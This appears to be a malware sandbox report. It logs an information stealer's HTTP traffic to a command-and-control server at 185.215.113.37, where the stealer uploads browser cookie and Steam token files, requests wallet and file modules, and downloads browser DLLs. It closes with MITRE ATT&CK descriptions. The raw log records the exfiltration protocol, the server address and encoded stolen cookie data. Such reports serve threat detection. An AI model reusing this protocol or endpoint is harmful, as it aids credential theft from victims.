Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDGDGIIDGCFIDHDHDHHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 2d 2d 0d 0a Data Ascii: ------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="message"fplugins------AFHDGDGIIDGCFIDHDHDH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKJKFHCAEGDHIDGDHDAHost: 185.215.113.37Content-Length: 6347Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJJEGDBFIIDGCAKJEBKHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4f 44 67 79 4e 6a 41 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 55 74 4d 54 41 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 7a 41 33 4e 44 59 77 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 55 4e 34 51 58 52 6d 55 56 4e 32 62 56 6c 45 61 45 35 70 53 43 31 46 53 7a 52 78 61 33 5a 78 65 6d 78 6c 53 54 4a 73 59 6d 4a 7a 4e 6b 35 35 53 6b 64 73 63 6d 68 6c 5a 32 31 4d 4e 6e 52 49 4f 56 4e 7a 61 58 4a 59 4e 30 5a 6d 53 45 68 72 54 45 5a 76 56 6c 4a 49 59 31 6f 35 63 6b 52 70 63 7a 4e 56 61 54 64 58 64 79 30 74 56 55 5a 54 57 6d 46 58 55 31 56 55 55 56 70 45 57 46 42 34 55 45 31 75 53 54 42 75 61 58 4e 43 62 6e 70 43 63 46 46 72 59 31 56 78 62 6d 67 32 56 44 42 4b 5a 44 4e 36 65 43 31 44 53 46 49 35 61 43 31 52 63 6a 46 59 64 44 56 71 4f 46 64 4e 62 6b 46 44 51 32 4e 78 4d 55 64 4d 57 6c 39 45 4e 31 56 36 56 6e 42 47 52 57 67 74 51 55 78 30 51 6a 64 56 61 58 5a 6a 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwODgyNjAJMVBfSkFSCTIwMjMtMTAtMDUtMTAKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMzA3NDYwCU5JRAk1MTE9RUN4QXRmUVN2bVlEaE5pSC1FSzRxa3ZxemxlS
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIEBAFCBKFIDGCAKKKFHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 2d 2d 0d 0a Data Ascii: ------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="file"------HIIEBAFCBKFIDGCAKKKF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIEGDBAEBFIIDHJJJEBHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 47 44 42 41 45 42 46 49 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 47 44 42 41 45 42 46 49 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 47 44 42 41 45 42 46 49 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 47 44 42 41 45 42 46 49 49 44 48 4a 4a 4a 45 42 2d 2d 0d 0a Data Ascii: ------FIIEGDBAEBFIIDHJJJEBContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------FIIEGDBAEBFIIDHJJJEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FIIEGDBAEBFIIDHJJJEBContent-Disposition: form-data; name="file"------FIIEGDBAEBFIIDHJJJEB--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGHCGCAEBFIJKFIDBGHHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBGHDGHCGHCAAKFIIECHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 2d 2d 0d 0a Data Ascii: ------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="message"wallets------IDBGHDGHCGHCAAKFIIEC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCFHDHIIIECBGCAKFIJHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="message"files------AFCFHDHIIIECBGCAKFIJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDGIIEBFCBAAAAKKEGHHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="file"------IJDGIIEBFCBAAAAKKEGH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDHIDAEHCFHJJJJECAAHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 2d 2d 0d 0a Data Ascii: ------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="message"ybncbhylepme------EHDHIDAEHCFHJJJJECAA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDAEHCBGIIJJJJKKKEHHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 2d 2d 0d 0a Data Ascii: ------DGDAEHCBGIIJJJJKKKEHContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------DGDAEHCBGIIJJJJKKKEHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DGDAEHCBGIIJJJJKKKEH--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

